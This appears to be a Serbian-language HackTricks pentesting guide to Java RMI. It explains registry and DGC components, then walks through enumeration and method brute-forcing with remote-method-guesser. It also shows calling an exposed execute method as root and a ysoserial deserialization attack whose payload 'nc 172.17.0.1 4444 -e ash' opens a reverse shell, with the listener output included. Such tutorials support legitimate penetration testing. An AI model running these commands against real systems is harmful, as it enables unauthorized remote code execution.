19 KiB
1098/1099/1050 - Testiranje penetracije Java RMI - RMI-IIOP
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodiču PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
Osnovne informacije
Java Remote Method Invocation, ili Java RMI, je mehanizam objektno orijentisanog RPC-a koji omogućava objektu smeštenom u jednoj Java virtuelnoj mašini da poziva metode na objektu smeštenom u drugoj Java virtuelnoj mašini. Ovo omogućava programerima da pišu distribuirane aplikacije koristeći objektno orijentisan paradigmu. Kratak uvod u Java RMI sa ofanzivne perspektive može se pronaći u ovom blackhat govoru.
Podrazumevani portovi: 1090,1098,1099,1199,4443-4446,8999-9010,9999
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
Obično su samo podrazumevane komponente Java RMI (RMI registar i Aktivacioni sistem) vezane za zajedničke portove. Udaljeni objekti koji implementiraju stvarnu RMI aplikaciju obično su vezani za nasumične portove, kao što je prikazano u prethodnom izlazu.
nmap ponekad ima problema sa identifikacijom SSL zaštićenih RMI servisa. Ako naiđete na nepoznat ssl servis na zajedničkom RMI portu, trebalo bi dalje istražiti.
RMI Komponente
Da bismo to pojednostavili, Java RMI omogućava programeru da učini Java objekat dostupnim na mreži. To otvara TCP port na kojem klijenti mogu da se povežu i pozivaju metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoje nekoliko izazova koje Java RMI mora da reši:
- Da bi prosledili poziv metode putem Java RMI, klijenti moraju znati IP adresu, slušajući port, implementiranu klasu ili interfejs i
ObjID
ciljanog objekta (ObjID
je jedinstveni i nasumični identifikator koji se kreira kada je objekat dostupan na mreži. Potreban je jer Java RMI omogućava više objekata da slušaju na istom TCP portu). - Udaljeni klijenti mogu dodeliti resurse na serveru pozivajući metode na izloženom objektu. Java virtuelna mašina mora pratiti koje od ovih resursa su još uvek u upotrebi, a koje od njih mogu biti sakupljeni smećem.
Prvi izazov rešava RMI registar, koji je u osnovi servis za imenovanje za Java RMI. Sam RMI registar takođe je RMI servis, ali implementirani interfejs i ObjID
su fiksni i poznati svim RMI klijentima. To omogućava RMI klijentima da koriste RMI registar samo znajući odgovarajući TCP port.
Kada programeri žele da njihovi Java objekti budu dostupni unutar mreže, obično ih vežu za RMI registar. Registar čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, slušajući port, implementirana klasa ili interfejs i vrednost ObjID
) i čini ih dostupnim pod ljudski čitljivim imenom (vezano ime). Klijenti koji žele da koriste RMI servis traže od RMI registra odgovarajuće vezano ime, a registar vraća sve potrebne informacije za povezivanje. Dakle, situacija je u osnovi ista kao sa običnim DNS servisom. Sledeći prikazuje mali primer:
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
Drugi od pomenutih izazova rešava se preko Distribuiranog sakupljača smeća (DGC). Ovo je još jedna RMI usluga sa dobro poznatom vrednošću ObjID
i dostupna je na praktično svakom RMI krajnjem tačkom. Kada RMI klijent počne da koristi RMI uslugu, šalje informaciju DGC-u da odgovarajući udaljeni objekat bude u upotrebi. DGC može pratiti broj referenci i može očistiti nekorišćene objekte.
Zajedno sa zastarelim Aktivacionim sistemom, ovo su tri podrazumevana komponente Java RMI-ja:
- RMI Registar (
ObjID = 0
) - Aktivacioni sistem (
ObjID = 1
) - Distribuirani sakupljač smeća (
ObjID = 2
)
Podrazumevane komponente Java RMI-ja poznate su kao vektori napada već neko vreme i postoje višestruke ranjivosti u zastarelim verzijama Java-e. Sa perspektive napadača, ove podrazumevane komponente su interesantne, jer su implementirane poznate klase / interfejsi i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene RMI usluge. Da biste pozvali metod na udaljenom objektu, morate unapred znati odgovarajući potpis metoda. Bez poznavanja postojećeg potpisa metoda, nema načina za komunikaciju sa RMI uslugom.
Enumeracija RMI
remote-method-guesser je alat za skeniranje ranjivosti Java RMI-ja koji je sposoban da automatski identifikuje uobičajene RMI ranjivosti. Svaki put kada identifikujete RMI krajnju tačku, trebalo bi da probate:
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
Izlaz akcije enumeracije je objašnjen detaljnije na stranicama dokumentacije projekta. U zavisnosti od rezultata, trebalo bi da pokušate da potvrdite identifikovane ranjivosti.
Vrednosti ObjID
prikazane od strane remote-method-guesser mogu se koristiti za određivanje vremena rada usluge. Ovo može omogućiti identifikaciju drugih ranjivosti:
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
Bruteforcing Remote Metode
Čak i kada tokom enumeracije nisu identifikovane ranjivosti, dostupne RMI usluge i dalje mogu otkriti opasne funkcije. Štaviše, iako je komunikacija RMI prema podrazumevanim komponentama zaštićena filterima za deserializaciju, kada se radi sa prilagođenim RMI uslugama, takvi filteri obično nisu na snazi. Poznavanje validnih potpisa metoda na RMI uslugama stoga je od vrednosti.
Nažalost, Java RMI ne podržava enumeraciju metoda na udaljenim objektima. Ipak, moguće je probati potpise metoda pomoću alatki poput remote-method-guesser ili rmiscout:
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
Identifikovane metode mogu se pozvati na sledeći način:
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
Ili možete izvršiti napade de-serijalizacije na ovaj način:
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
Više informacija možete pronaći u ovim člancima:
Pored pogađanja, takođe treba da pretražite pretraživače ili GitHub za interfejs ili čak implementaciju naiđenog RMI servisa. Bound name i ime implementovane klase ili interfejsa mogu biti od pomoći ovde.
Poznati interfejsi
remote-method-guesser označava klase ili interfejse kao poznate
ako su navedeni u internoj bazi podataka poznatih RMI servisa alata. U tim slučajevima možete koristiti akciju poznato
da biste dobili više informacija o odgovarajućem RMI servisu:
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
Shodan
port:1099 java
Alati
Reference
HackTricks Automatske Komande
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.